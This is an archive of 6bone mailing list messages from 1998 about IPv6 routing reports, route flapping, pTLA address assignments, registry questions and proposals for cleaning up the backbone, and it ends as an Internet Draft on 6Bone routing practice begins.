>   1673 1103 1275 559 3303 5623 33 1225 48 7081  
>   ...Truncated...
> 
> 5. 3ffe:2101:0:900::/64 had 30501 BGP+ Updates (1189 unique aspaths)
>   109 1225 5609 5623 1717 1103 1835 1849 1752 3185  
>   109 5623 1717 1835 1273 5539 1849 1752 3185  
>   1225 1849 1103 1717 5623 5609 48 1752 3185  
>   1673 1103 1275 559 3303 5623 109 48 1752 3185  
>   3263 1275 1717 1835 1849 1225 48 1752 3185  
>   1225 1103 2839 3263 1849 109 48 1752 3185  
>   109 48 5609 1225 1103 293 4555 1849 1752 3185  
>   1673 1103 1849 5609 1225 109 48 1752 3185  
>   1673 1103 1717 5623 109 1849 5609 1225 48 1752 3185  
>   1673 1103 1275 559 1717 5623 5609 1225 48 1752 3185  
>   109 4555 1103 1275 559 3303 5623 1225 48 1752 3185  
>   ...Truncated...

From 6bone-owner  Mon Apr 27 08:07:35 1998
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Message-Id: <199804271507.LAA17299@merit.edu>
To: Richard Draves <richdr@microsoft.com>
cc: "'6bone'" <6bone@ISI.EDU>
Subject: Re: 04/24/98 6Bone Routing Report 
In-reply-to: Your message of "Sun, 26 Apr 1998 13:09:01 PDT."
             <4D0A23B3F74DD111ACCD00805F31D8100583214D@red-msg-50.dns.microsoft.com> 
Date: Mon, 27 Apr 1998 11:07:24 -0400
From: Masaki Hirabaru <masaki@merit.edu>
Sender: owner-6bone@zephyr.isi.edu
Precedence: bulk
Status: RO

> I've been watching these reports for several weeks now... I've seen the
> number of announcements vary by two orders of magnitude. I assume that when
> it is very high (as in the report below), that means there is something
> broken? Is there anyone out there who takes an interest in ferreting out
> these problems?
> 
> Just curious,
> Rich 

Hi. Rich, At least, I'm watching this report and trying to find a
clue what causes this route flapping. I recently added a couple
of BGP4+ connections to peek more data. (Merit announces its
prefix only to most of them not to contribute to the flapping.)

There could have been configuration errors and link outages, but
I'd like to make sure that there are no other problems like an
inappropriate BGP4+ implementation before a strong route
filtering and route dampening will be introduced.

If your site would like to be investigated directly :-) or if you
are running your original BGP4+ implementation, please let me
know.  I'd like to add a few more BGP4+ connections with
non-cisco routers to find a clue and keep watching our 6bone
routing.

Thanks,
Masaki

> 
> > -----Original Message-----
> > From:	owner-6bone-routing-report@merit.edu
> > [SMTP:owner-6bone-routing-report@merit.edu]
> > Sent:	Friday, April 24, 1998 11:14 PM
> > To:	6bone-routing-report@merit.edu
> > Subject:	04/24/98 6Bone Routing Report
> > 
> > See http://www.merit.edu/ipma for a more detailed report on 
> > routing problems and recommendations on ways service providers can
> > limit the spread of invalid routing information.
> > Send comments and questions to ipma-support@merit.edu
> > 
> > To unsubscribe from this list, send mail to 
> >     6bone-routing-report-request@merit.edu.
> > A hypermail archive is available at
> > 	http://www.merit.net/mail.archives/html/6bone-routing-report/
> > 
> > Also see http://www.caida.org for more information about Internet
> > statistics
> > collection research efforts.
> > 
> > ---------------------------------------------
> > This report is for 04/24/98.
> > ---------------------------------------------
> > 
> > Size of 6Bone Routing Table:
> > 	Max = 124, Min = 107, Average = 116
> > 	40 Unique Autonomous System (AS) numbers
> > 
> > BGP4+ Traffic Summary:  
> > 	Announcements=1046901    Withdraws=184825   Unique Routes=159
> > 
> > Poorly Aggregated Announcements:
> > --------------------------------
> >   20:53:49 3ffe:2101:0:ffff::ffff:ffff/127 from 3ffe:c00:e:b::1 (109)
> >   00:07:51 3ffe:1500::fffe:0:0:10/126 from 3ffe:1c00:0:60::153 (237)
> >   00:05:49 3ffe:1500::fffe:0:0:11/126 from 3ffe:900:0:3::1 (1225)
> >   00:07:51 3ffe:1500::fffe:0:0:c/126 from 3ffe:1c00:0:60::153 (237)
> >   00:05:49 3ffe:1500::fffe:0:0:d/126 from 3ffe:900:0:3::1 (1225)
> >   00:07:51 3ffe:1500::fffe:0:0:14/126 from 3ffe:1c00:0:60::153 (237)
> >   00:05:50 3ffe:1500::fffe:0:0:15/126 from 3ffe:900:0:3::1 (1225)
> >   02:43:31 3ffe:2000:0:1:ffff:ffff:ffff:fff0/124 from 3ffe:900:0:3::1
> > (1225)
> >   00:08:01 3ffe:2101:0:ffff::2/127 from 3ffe:c00:e:b::1 (109)
> >   00:07:51 3ffe:1500::fffe:0:0:18/126 from 3ffe:1c00:0:60::153 (237)
> >   00:05:50 3ffe:1500::fffe:0:0:19/126 from 3ffe:900:0:3::1 (1225)
> >   14:08:28 3ffe:1500:fffe::c/126 from 3ffe:1c00:0:60::153 (237)
> >   00:07:59 3ffe:f01:0:ffff::6/127 from 3ffe:c00:e:b::1 (109)
> >   00:07:42 3ffe:f01:0:ffff::7/127 from 3ffe:900:0:3::1 (1225)
> >   00:08:01 3ffe:2000:0:1::60/124 from 3ffe:c00:e:b::1 (109)
> >   00:07:51 3ffe:1500::fffe:0:0:1/126 from 3ffe:1c00:0:60::153 (237)
> >   00:07:51 3ffe:1500::fffe:0:0:4/126 from 3ffe:1c00:0:60::153 (237)
> >   00:07:24 3ffe:1001:1:ffff::/126 from 3ffe:c00:e:b::1 (109)
> >   13:21:56 3ffe:700:20:2::a/126 from 3ffe:900:0:3::1 (1225)
> >   00:05:49 3ffe:1500::fffe:0:0:5/126 from 3ffe:900:0:3::1 (1225)
> >   00:07:51 3ffe:1500::fffe:0:0:8/126 from 3ffe:1c00:0:60::153 (237)
> >   00:07:51 3ffe:c00:8004:1::/80 from 3ffe:1c00:0:60::153 (237)
> >   21:16:50 3ffe:2000:0:ff:ffff:ffff:ffff:ffff/124 from 3ffe:c00:e:b::1
> > (109)
> >   00:05:49 3ffe:1500::fffe:0:0:9/126 from 3ffe:900:0:3::1 (1225)
> >   00:08:01 3ffe:302:11:2:0:2:0:50/124 from 3ffe:c00:e:b::1 (109)
> >   18:11:44 3ffe:700:20:2:ff:ffff:ffff:ffff/126 from 3ffe:900:0:3::1 (1225)
> >   14:08:28 3ffe:1c00::3/128 from 3ffe:1c00:0:60::153 (237)
> >   00:05:11 3ffe:1500:0:0:fffe::/126 from 3ffe:900:0:3::1 (1225)
> >   04:21:13 3ffe:302:ffff:ffff:ffff:ffff:ffff:ffff/124 from 3ffe:900:0:3::1
> > (1225)
> >   10:11:20 3ffe:1500::fffe:0:ffff:ffff/126 from 3ffe:1c00:0:60::153 (237)
> >   00:07:51 3ffe:1500::fffe:0:0:20/126 from 3ffe:1c00:0:60::153 (237)
> >   00:05:50 3ffe:1500::fffe:0:0:21/126 from 3ffe:900:0:3::1 (1225)
> >   11:17:45 3ffe:1001:1:ffff::1/126 from 3ffe:900:0:3::1 (1225)
> >   00:07:51 3ffe:1500::fffe:0:0:24/126 from 3ffe:1c00:0:60::153 (237)
> >   00:05:50 3ffe:1500::fffe:0:0:25/126 from 3ffe:900:0:3::1 (1225)
> >   06:37:44 3ffe:1500:ff:ffff:ffff:ffff:ffff:ffff/126 from 3ffe:900:0:3::1
> > (1225)
> >   00:08:01 3ffe:700:20:2::8/126 from 3ffe:c00:e:b::1 (109)
> >   14:08:15 3ffe:dfe:fffe::8/126 from 3ffe:1c00:0:60::153 (237)
> >   00:07:51 3ffe:1500::fffe:0:0:1c/126 from 3ffe:1c00:0:60::153 (237)
> >   00:05:50 3ffe:1500::fffe:0:0:1d/126 from 3ffe:900:0:3::1 (1225)
> >   22:15:25 3ffe:2101:0:ffff:0:ff:ffff:ffff/127 from 3ffe:c00:e:b::1 (109)
> > 
> > 
> > 
> > The top five most active prefixes:
> > ----------------------------------
> > 1. 3ffe:2101:0:ffff::2/127 had 33502 BGP+ Updates (1568 unique aspaths)
> >   3263 1275 1717 5623 1849 5609 48 1752  
> >   1225 109 5623 5609 48 1752  
> >   109 1225 1849 2839 1103 1717 5623 5609 48 1752  
> >   1225 1103 1275 1717 1835 1849 5609 48 1752  
> >   1673 1103 786 1717 5623 1225 109 1849 5609 48 1752  
> >   3263 1103 1275 559 1717 5623 1225 48 1752  
> >   1673 1103 786 1849 1225 5609 48 1752  
> >   1225 5609 5623 1717 1103 293 1849 109 48 1752  
> >   109 1225 1103 293 1849 1752  
> >   109 5623 1225 5609 1849 1752  
> >   1673 1103 1275 559 5623 109 48 1752  
> >   ...Truncated...
> > 
> > 2. 3ffe:700::/24 had 33265 BGP+ Updates (217 unique aspaths)
> >   1673 1103 1835 3263 1275 293  
> >   109 5623 1225 1673 293  
> >   109 33 1225 1849 1103 293  
> >   1225 33 109 1849 1103 293  
> >   109 1849 33 2914 293  
> >   109 1849 4555 1103 293  
> >   109 1225 1103 293  
> >   109 33 1849 1835 1103 293  
> >   1225 48 109 1849 33 293  
> >   1225 1849 109 33 2914 293  
> >   1225 48 109 293  
> >   ...Truncated...
> > 
> > 3. 3ffe:2c00::/24 had 32097 BGP+ Updates (1529 unique aspaths)
> >   109 33 5623 1717 1835 1849 1225 5609 48 1752  
> >   109 1225 1103 1275 1717 1835 1273 5539 1849 5609 48 1752  
> >   1673 1103 786 1717 1835 1849 5609 48 1752  
> >   1225 109 5623 5609 48 1752  
> >   1225 1103 1275 1717 1835 1849 5609 48 1752  
> >   1673 1103 786 1717 5623 1225 109 1849 5609 48 1752  
> >   109 33 1225 5609 5623 1717 1103 293 1849 1752  
> >   1225 33 1849 2839 1103 293 4555 109 48 1752  
> >   1673 1103 786 1849 1225 5609 48 1752  
> >   1673 1103 1717 5623 5609 1849 33 1225 48 1752  
> >   109 1225 1103 293 1849 1752  
> >   ...Truncated...
> > 
> > 4. 3ffe:1a00::/24 had 31414 BGP+ Updates (1551 unique aspaths)
> >   109 1225 1103 1835 1849 5609 48 7081  
> >   1225 33 5623 1717 786 1103 1849 5609 48 7081  
> >   1673 1103 1225 109 1849 5609 48 7081  
> >   1673 1103 786 1849 5609 48 7081  
> >   1225 33 1849 2839 1103 1275 559 3303 5623 109 48 7081  
> >   1225 5609 5623 1717 1103 2839 1849 109 48 7081  
> >   1225 1673 1103 1275 1717 5623 109 48 7081  
> >   1225 5623 1717 1103 1835 1849 5609 48 7081  
> >   109 4555 1849 1835 1103 1717 5623 5609 48 7081  
> >   1225 109 33 5623 1717 1103 2839 1849 5609 48 7081  
> >   1673 1103 1275 559 3303 5623 33 1225 48 7081  
> >   ...Truncated...
> > 
> > 5. 3ffe:2101:0:900::/64 had 30501 BGP+ Updates (1189 unique aspaths)
> >   109 1225 5609 5623 1717 1103 1835 1849 1752 3185  
> >   109 5623 1717 1835 1273 5539 1849 1752 3185  
> >   1225 1849 1103 1717 5623 5609 48 1752 3185  
> >   1673 1103 1275 559 3303 5623 109 48 1752 3185  
> >   3263 1275 1717 1835 1849 1225 48 1752 3185  
> >   1225 1103 2839 3263 1849 109 48 1752 3185  
> >   109 48 5609 1225 1103 293 4555 1849 1752 3185  
> >   1673 1103 1849 5609 1225 109 48 1752 3185  
> >   1673 1103 1717 5623 109 1849 5609 1225 48 1752 3185  
> >   1673 1103 1275 559 1717 5623 5609 1225 48 1752 3185  
> >   109 4555 1103 1275 559 3303 5623 1225 48 1752 3185  
> >   ...Truncated...


From 6bone-owner  Mon Apr 27 08:41:33 1998
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Date: Mon, 27 Apr 1998 08:41:01 -0700
To: Richard Draves <richdr@microsoft.com>, "'6bone'" <6bone@ISI.EDU>
From: Bob Fink <rlfink@lbl.gov>
Subject: RE: 04/24/98 6Bone Routing Report
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Rich,

At 01:09 PM 4/26/98 -0700, Richard Draves wrote:
>I've been watching these reports for several weeks now... I've seen the
>number of announcements vary by two orders of magnitude. I assume that when
>it is very high (as in the report below), that means there is something
>broken? Is there anyone out there who takes an interest in ferreting out
>these problems?

Darn good question.  These announcements (it they are real) have reached
crazy and unreal size.

I saw the follopwing :

>---------------------------------------------
>This report is for 04/24/98.
>---------------------------------------------
>
>
>Size of 6Bone Routing Table:
>    Max = 124, Min = 107, Average = 116
>    40 Unique Autonomous System (AS) numbers
>
>
>BGP4+ Traffic Summary:  
>    Announcements=1046901    Withdraws=184825   Unique Routes=159

This is over 1 million announcements in 24 hours.


My frustration is that too date when I ask specific sites about their high
count I get a "no problem I can see here" type of response.


Clearly something is either wrong with some routing or with the reports.


Can some expert(s) in this area try to explain (or look into) what may be
going on?


Thanks,

Bob

From 6bone-owner  Mon Apr 27 09:23:52 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'Masaki Hirabaru'" <masaki@merit.edu>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: 04/24/98 6Bone Routing Report 
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> If your site would like to be investigated directly :-) or if you
> are running your original BGP4+ implementation, please let me
> know.  I'd like to add a few more BGP4+ connections with
> non-cisco routers to find a clue and keep watching our 6bone
> routing.
> 
	[Richard Draves]  Hi Masaki, I appreciate your offer but my site is
a mere leaf node (connected via a static tunnel to NWNET). Our MSR IPv6
implementation does not (at least, not yet) support routing or BGP4+. I have
a very very limited understanding of BGP.

	For us interested bystanders, it would be nice to see occasional
mail from the people investigating the 6bone's problems - even fairly
mundane progress or status reports are interesting. It might also get the
community more involved.

	Thanks,
	Rich

From 6bone-owner  Mon Apr 27 10:40:07 1998
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Date: Mon, 27 Apr 1998 10:39:30 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: new pTLA and welcome to GRNET/GR
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I would like to announce the assignment of a new pTLA (3FFE:2D00::/24) to
GRNET/GR, and to welcome them.

GRNET/GR is the Greek Research and Technology Network.


Bob


From 6bone-owner  Tue Apr 28 07:16:37 1998
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Date: Tue, 28 Apr 1998 06:35:02 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: ETRI/KR pTLA request
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6bone Folk,

ETRI (the Korean Electronics and Telecommunications Research Institute) is
requesting a pTLA on behalf of the 6Bone-KR(Korea) Project. Following are
their answers to our generic requirements. 

Please send your comments for or against either directly to me or to the
mailer.

I would like to process this by 11 May (I am out of town next week).


Thanks,

Bob

-------------------------------
1. Must have experience with IPv6 in the 6Bone, at least as a leaf site and
preferably as an NLA transit under a pTLA.

We have collaborated IPv6 project with Soongsil Univ.(SSU)(one of the
members of the 6Bone-KR) and implemented IP version 6 for freeBSD. This
system is attached to CISCO as a leaf site using the NLA address from CISCO
since February 1997. We have participated in most of 6Bone proceeding from
initial phases. 6Bone-KR intends to deploy a large base of IPv6 networks in
major Korean universities and research institutes. 

ETRI (Electronics and Telecommunications Research Institute), a government
sponsored research institute, has played an important role in development
and deployment of advanced technologies in Korea. As a NOC of 6Bone-KR, we
have IPv6-tunneling, routing experiences using SSU as a NLA transit node
with several universities in Korea(SSU, Chungnam National University,
KAIST, Hanyang University, etc.).

2. Must have the ability and intent to provide "production-like" 6bone
backbone service to provide a robust and operationally reliable 6bone
backbone.

6Bone-KR is the Korea research network providing IPv6 interconnection
services to the Academic and Research community in Korea. It provides IPv6
connection using Tunneling and will provide high-speed( up to 150Mbps) ATM
interconnection service using AISN(Advanced Information Superhighway
Network), Korea ATM backbone network.

Seoul and R&D park at Daejeon are initial nodes' sites and other major
cities will be connected using AISN. The main router(Cisco and PC-platform)
is located in the ETRI(NOC of 6Bone-KR) at Daejeon. This project including
related
technolgies development was launched by government with a budget of
$1,000,000 for 3 years.

6Bone-KR is also a member of APAN(Asia Pacific Advanced Network) as a
representative of Korea for APAN IPv6 network construction.

3. Must have a potential "user community" that would be served by becomming
a pTLA, e.g., the requester is a major player in a region, country or focus
of interest.

6Bone-KR interconnects the academic and research community of Korea and
currently 6 institutes and universities, more than 200 students and
researchers are served. After receiving a pTLA, all members of AISN (more
than 30 institutes and
universities, more than 3,000 students and researchers) will be
interconnected using 6Bone for IPv6 services.

4. Must commit to abide by whatever the 6bone backbone operational rules
and policies are (currently there are no formal ones, but the Alain Durand
draft is a start in trying to defined some).

We, 6Bone-KR, will fully commit to the operational rules of IPv6 now and in
the future.

If you need any further clarification on any of the above questions, we'd
be more than happy to answer them. This email is also sent to:

Dr. Young-Han Kim, yhkim@dcn.soongsil.ac.kr (SSU NOC IPv6 contact)
Mr. Yong-Woon Kim, qkim@pec.etri.re.kr (ETRI NOC IPv6 contact)

Best Regards,
Myung-Ki Shin
----

ETRI
Address : 161 Kajong-Dong, Yusong-Gu,
                 Daejeon, 305-350, KOREA
Tel : +82-42-860-4847
Fax : +82-42-861-5404
E-mail : mkshin@pec.etri.re.kr
WWW : http://pec.etri.re.kr

-end

From 6bone-owner  Wed Apr 29 00:20:56 1998
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Dear 6bone folks

How do you feel about creating a list of tested Ipv6 analyser
software/hardware?
I see there is no such thing available right now and is probably one of the
first items one wants to have when you want to have an idea whats happening
on the network. Or do you all feel happy with snoop?
I think a referal on the 6bone page would not misfit.
Or this this maybe not relevant ? What do you think?

Regards
		Aad
		

====================================================================
// Aad van der Zanden.							| POSTAL ADDRESS:	
// Communications Systems Division        				
// NATO C3 Agency		    					| NATO C3 Agency	
// Email  : Aad.van.der.Zanden@nc3a.nato.int	| P.O. BOX 174		
// Phone  : +31 (0)70 3142440 					| 2501 CD  The Hague	
// Fax    : +31 (0)70 3142176 					| The Netherlands	
====================================================================

From 6bone-owner  Wed Apr 29 05:54:34 1998
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Subject: Questions about RIPE registry
From: Jan Marius Evang <jane@ifi.uio.no>
Date: 29 Apr 1998 14:54:26 +0200
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How Should I indicate that two sites are connected, not by a tunnel,
but by an ATM link?

Marius
-- 
-O         /\/\ |  Jan Marius Evang  | 
Røyskatt   0 0 \|    Greve av Ling   |  Det er deilig aa vaere grevling 
           \ /\ | /In Aurum Veritas/ |             i Danmark

From 6bone-owner  Wed Apr 29 07:10:47 1998
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Date: Wed, 29 Apr 1998 07:10:36 -0700
To: Jan Marius Evang <jane@ifi.uio.no>, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: Questions about RIPE registry
Cc: David Kessens <davidk@ISI.EDU>
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Marius,

At 02:54 PM 4/29/98 +0200, Jan Marius Evang wrote:
>How Should I indicate that two sites are connected, not by a tunnel,
>but by an ATM link?

Goos question.  The ipv6-site description:

	http://www.ISI.EDU/~davidk/6bone/draft-ietf-ngtrans-6bone-registry-02.txt


doesn't seem to have anything specified but tunnels for links.  


I've cc'd David Kessens on this, maybe he has a a good idea how to do this
(time for an addition to the ipv6-site object?).


Thanks,

Bob

From 6bone-owner  Wed Apr 29 14:32:19 1998
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Subject: Re: Questions about RIPE registry
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Bob, Marius,

Bob Fink writes:
> 
> At 02:54 PM 4/29/98 +0200, Jan Marius Evang wrote:
> >How Should I indicate that two sites are connected, not by a tunnel,
> >but by an ATM link?
> 
> Goos question.  The ipv6-site description:
> 
> 	http://www.ISI.EDU/~davidk/6bone/draft-ietf-ngtrans-6bone-registry-02.txt
> 
> 
> doesn't seem to have anything specified but tunnels for links.  
> 
> I've cc'd David Kessens on this, maybe he has a a good idea how to do this
> (time for an addition to the ipv6-site object?).

So far, we have gotten around this by doing something that is strictly not
correct, but works for now ... :

use 'IPv6 in IPv6' as the encapsulation in a tunnel attribute

I do think that this should be fixed. However, fixing this probaly
opens up a can of worms since we will find all kind of other problems
that needs fixing too. In the end we will find that we most likely
need to move to RPSL. RPSL has much more power to specify what you
want.

Although I would like it to be different, I am not entirely ready to
introduce the full power of RPSL right now (we are currently busy with
the transition to RPSL for the IPv4 world) and therefore it might be
best to use the 'IPv6 in IPv6' trick for the coming months.

I am willing to do a quick fix if people indicate that that is
preferred, but I would rather go for a more consistent solution that
will take a bit more waiting time from you,

David K.
---

From 6bone-owner  Wed Apr 29 18:20:47 1998
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David,

At 02:31 PM 4/29/98 -0700, davidk@ISI.EDU wrote:
>
>Bob, Marius,
>
>Bob Fink writes:
>> 
>> At 02:54 PM 4/29/98 +0200, Jan Marius Evang wrote:
>> >How Should I indicate that two sites are connected, not by a tunnel,
>> >but by an ATM link?
>> 
>> Goos question.  The ipv6-site description:
>> 
>> 	http://www.ISI.EDU/~davidk/6bone/draft-ietf-ngtrans-6bone-registry-02.txt
>> 
>> 
>> doesn't seem to have anything specified but tunnels for links.  
>> 
>> I've cc'd David Kessens on this, maybe he has a a good idea how to do this
>> (time for an addition to the ipv6-site object?).
>
>So far, we have gotten around this by doing something that is strictly not
>correct, but works for now ... :
>
>use 'IPv6 in IPv6' as the encapsulation in a tunnel attribute
>
>I do think that this should be fixed. However, fixing this probaly
>opens up a can of worms since we will find all kind of other problems
>that needs fixing too. In the end we will find that we most likely
>need to move to RPSL. RPSL has much more power to specify what you
>want.
>
>Although I would like it to be different, I am not entirely ready to
>introduce the full power of RPSL right now (we are currently busy with
>the transition to RPSL for the IPv4 world) and therefore it might be
>best to use the 'IPv6 in IPv6' trick for the coming months.
>
>I am willing to do a quick fix if people indicate that that is
>preferred, but I would rather go for a more consistent solution that
>will take a bit more waiting time from you,

I think we should take your advice... stick to the 'IPv6 in IPv6' trick
until you can do a conversion to RPSL sometime in the future as appropriate.

Thanks for the quick answer.


Bob

From 6bone-owner  Thu Apr 30 00:52:36 1998
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From: Jan Marius Evang <jane@ifi.uio.no>
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  >> Bob Fink writes:

  BF> I think we should take your advice... stick to the 'IPv6 in
  BF> IPv6' trick until you can do a conversion to RPSL sometime in
  BF> the future as appropriate.

  BF> Thanks for the quick answer.

Yes, Thanks.

Marius


-- 
-O         /\/\ |  Jan Marius Evang  | 
Røyskatt   0 0 \|    Greve av Ling   |  Det er deilig aa vaere grevling 
           \ /\ | /In Aurum Veritas/ |             i Danmark

From 6bone-owner  Thu Apr 30 07:26:00 1998
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Subject: d.2.e.f.f.3.ip6.int. delegation
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The GRnet delegation has been processed:

;; QUERY SECTION:
;;      d.2.e.f.f.3.ip6.int, type = NS, class = IN

;; ANSWER SECTION:
d.2.e.f.f.3.ip6.int.    1d12h IN NS     foo.grnet.gr.
d.2.e.f.f.3.ip6.int.    1d12h IN NS     nic.grnet.gr.


-- 
--bill

From 6bone-owner  Thu Apr 30 11:21:09 1998
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Date: Thu, 30 Apr 1998 11:21:03 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: some 6bone backbone cleanup recommendations
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6bone Folk,

Per the 6bone backbone cleanup discussions at the LA IETF I have generated
a first pass set of recommendations on how to proceed.

The first basic rule to note is that there was almost complete consensus to
avoid hard rule enforcement that forced a pTLA site off the 6bone backbone
with no discourse or allowance for a site to try to clean up their act.  In
fact, it was recommended that we be driven to the greatest extent possible,
by reports that point out the problems (a bit of public exposure and
humiliation so to speak).  Then arbitrate.


Various ideas:

Setup a 6bone-ops list consisting of only mail handles registered in the
6bone registry:
  should include email handles from: (David Kessens has volunteered to do
this list)
    the person: object, e-mail: field
    the mntner: object, mnt-nfy: field
    remove duplicates
    all 6bone sites, not just backbone pTLAs

Use the current version of Buclin/Durand I-D on "IPv6 routing issues" as
policy:
  should rename this draft "6bone routing practices" (Bertrand is doing this)
  publish reports of variance with them, per pTLA

Require a minimum amount of peering for robustness sake:
  say 3-5 other pTLAs, but not too many

Publish daily lists of following information:
  as above, publish reports of variance with the I-D rules, per pTLA
  pTLA routes longer than /24
  those pTLAs not carrying all routes (not so easy without special
effort/tools)
  those pTLA tunnels not using BGP4+ (already covered above)
  those pTLAs having too many flaps (publish the Merit 6bone routing report)
  the CSELT ASpath-tree results
  ping tests across all tunnels

Directed email to offending sites, especially those significantly affecting
much of the 6bone


So... comments and volunteers for bits of the work appreciated.

Thanks,

Bob





From 6bone-owner  Thu Apr 30 15:33:17 1998
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Date: Thu, 30 Apr 1998 15:33:09 -0700
To: Craig Metz <cmetz@inner.net>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: some 6bone backbone cleanup recommendations 
Cc: 6bone@ISI.EDU
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Craig,

You make several good points.  I'm not totally convinced about not doing
anything, but it is an option.

I do think that the routing practices draft is a good guide (or will be as
it gets further cleanup/editing).

Let's see what comments we collect.


Thanks,

Bob

===
At 06:23 PM 4/30/98 -0300, Craig Metz wrote:
>In message <Version.32.19980423064622.010add40@cnrmail.lbl.gov>, you write:
>>So... comments and volunteers for bits of the work appreciated.
>
>  I believe that there isn't currently a need for a separate mailing list,
>since the set of people who would be on that list should already be on the
>6Bone list and the all people who are currently on the 6Bone list should be
>interested in operational issues. If the 6Bone has a massive increase in the
>number of leaves and end users, this might change. The MBONE provides a good
>example for us.
>
>  I think that many of the active monitoring methods proposed are either
>overkill or likely to misinterpret certain failures. I have long expressed a
>concern that the volume of diagnostic traffic on the 6Bone is an order of
>magnitude higher than the volume of real usage. More diagnostic traffic is
not
>the answer.
>
>  I really think that the best possible way to clean up the 6Bone is to add
>more leaf/end users. Why? Because most of the problems that get found and
>fixed get found and fixed when somebody is trying to do something but not
>succeeding. If I get a dozen emails a day warning me of possible problems and
>I'm busy, it's going to wait. If one of my co-workers walks down to my office
>and says "hey, can you look at this", it's getting fixed.
>
>  Also, I'd hope that nobody here would consider trying to generate more
>interest in IPv6 and more actual IPv6 users to be a bad thing.
>
>									-Craig
> 

From 6bone-owner  Thu Apr 30 20:47:28 1998
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Subject: Re: some 6bone backbone cleanup recommendations
To: rlfink@lbl.gov (Bob Fink)
Date: Thu, 30 Apr 1998 20:47:24 -3100 (PDT)
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In-Reply-To: <Version.32.19980423064622.010add40@cnrmail.lbl.gov> from "Bob Fink" at Apr 30, 98 11:21:03 am
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> Setup a 6bone-ops list consisting of only mail handles registered in the
> 6bone registry:
>   should include email handles from: (David Kessens has volunteered to do
> this list)
>     the person: object, e-mail: field
>     the mntner: object, mnt-nfy: field
>     remove duplicates
>     all 6bone sites, not just backbone pTLAs


	Perhaps the better way to do this is to track the delegations
	and use the SOA contacts.  

	Its' being done to soem degree with the walking of the inverse
	tree already.

-- 
--bill

From 6bone-owner  Mon May  4 05:49:15 1998
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Date: Mon, 04 May 1998 05:48:50 -0700
To: Bill Manning <bmanning@ISI.EDU>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: some 6bone backbone cleanup recommendations
Cc: 6bone@ISI.EDU
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Bill,

At 08:47 PM 4/30/98 -3100, Bill Manning wrote:
>> Setup a 6bone-ops list consisting of only mail handles registered in the
>> 6bone registry:
>>   should include email handles from: (David Kessens has volunteered to do
>> this list)
>>     the person: object, e-mail: field
>>     the mntner: object, mnt-nfy: field
>>     remove duplicates
>>     all 6bone sites, not just backbone pTLAs
>
>
>	Perhaps the better way to do this is to track the delegations
>	and use the SOA contacts.  
>
>	Its' being done to soem degree with the walking of the inverse
>	tree already.

If we do try to create a new list my concern with your idea is that SOAs
might miss folk at 6bone sites that should be on our list but for some
local DNS management reason aren't SOA contacts.


Thanks,

Bob

From 6bone-owner  Mon May  4 06:22:40 1998
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Subject: Re: some 6bone backbone cleanup recommendations
To: rlfink@lbl.gov (Bob Fink)
Date: Mon, 4 May 1998 06:19:41 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
In-Reply-To: <1317861546-172778432@cnrmail.lbl.gov> from "Bob Fink" at May 4, 98 05:48:50 am
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> Bill,
> 
> At 08:47 PM 4/30/98 -3100, Bill Manning wrote:
> >> Setup a 6bone-ops list consisting of only mail handles registered in the
> >> 6bone registry:
> >>   should include email handles from: (David Kessens has volunteered to do
> >> this list)
> >>     the person: object, e-mail: field
> >>     the mntner: object, mnt-nfy: field
> >>     remove duplicates
> >>     all 6bone sites, not just backbone pTLAs
> >
> >
> >	Perhaps the better way to do this is to track the delegations
> >	and use the SOA contacts.  
> >
> >	Its' being done to soem degree with the walking of the inverse
> >	tree already.
> 
> If we do try to create a new list my concern with your idea is that SOAs
> might miss folk at 6bone sites that should be on our list but for some
> local DNS management reason aren't SOA contacts.
> 
> Thanks,
> Bob

Well, the list already exists and it is for zones that are expressly for 
the purposes of deployment of IPv6. And if there are local reasons for
not linking the two groups together, then by using the SOA values as a 
means to track deployment, we bring a hitherto disenfranchised group into
the IPv6 arena by making them aware.  

-- 
--bill

From 6bone-owner  Mon May  4 11:45:21 1998
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cc: christopher williams <cgw@madrugada.nas.nasa.gov>
Subject: USENIX IPv6 BoF?
Date: Mon, 04 May 1998 11:45:12 -0700
From: "Christopher G. Williams" <cgw@nas.nasa.gov>
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Is anyone on planning to do an IPv6 BoF at the 1998 USENIX Technical
Conference?

-cgw-

From 6bone-owner  Tue May  5 05:59:44 1998
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Date: Tue, 5 May 1998 15:55:44 +0300
From: Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr>
To: 6bone@ISI.EDU
Subject: pTLA address space plans
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Hi,

pTLA managers, do you have any policies under which you assign addresses for
connected parties?  How have you splitted the pTLA space?

--
Yiorgos Adamopoulos               -- #include <std/disclaimer.h>
mailto: Y.Adamopoulos@noc.ntua.gr -- Network Operations Center, NTUA, GREECE


From 6bone-owner  Tue May  5 06:42:19 1998
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To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: draft-ietf-ngtrans-6bone-routing-00.txt
Cc: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>
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> From: Buclin, Bertrand 
> Sent: Friday, May 01, 1998 10:15 AM 
> To: '6bone@isi.edu' 
> Subject: draft-ietf-ngtrans-6bone-routing-practice-00.txt 
> 
> Dear all, 
> 
> you'll find below the new draft for the 6Bone Routing Practices. It 
> replaces the draft-ietf-ngtrans-6bone-routing-issues-02.txt that was 
> presented at the Los Angeles IETF meeting, and includes the comments 
> made there and through private mail messages. 
> 
> Unfortunately, my co-author Alain has had an accident recently (not 
> life threatening) which will keep him out of business for a couple of 
> months. Please provide your comments either directly to me or more 
> generally to the 6Bone mailing list (6Bone@isi.edu). 
> 
> Regards, 
> 
> Bertrand Buclin 
> AT&T Labs Europe

INTERNET DRAFT                                             Alain Durand
NGTRANS WG                                                         IMAG
30 April, 1998                                          Bertrand Buclin
Expires 30 October, 1998                               AT&T Labs Europe


                                   
                        6Bone Routing Practice
                                   
                                   
               <draft-ietf-ngtrans-6bone-routing-00.txt>
                                   



Status of this Memo

 This  document  is  an Internet Draft.  Internet  Drafts  are  working
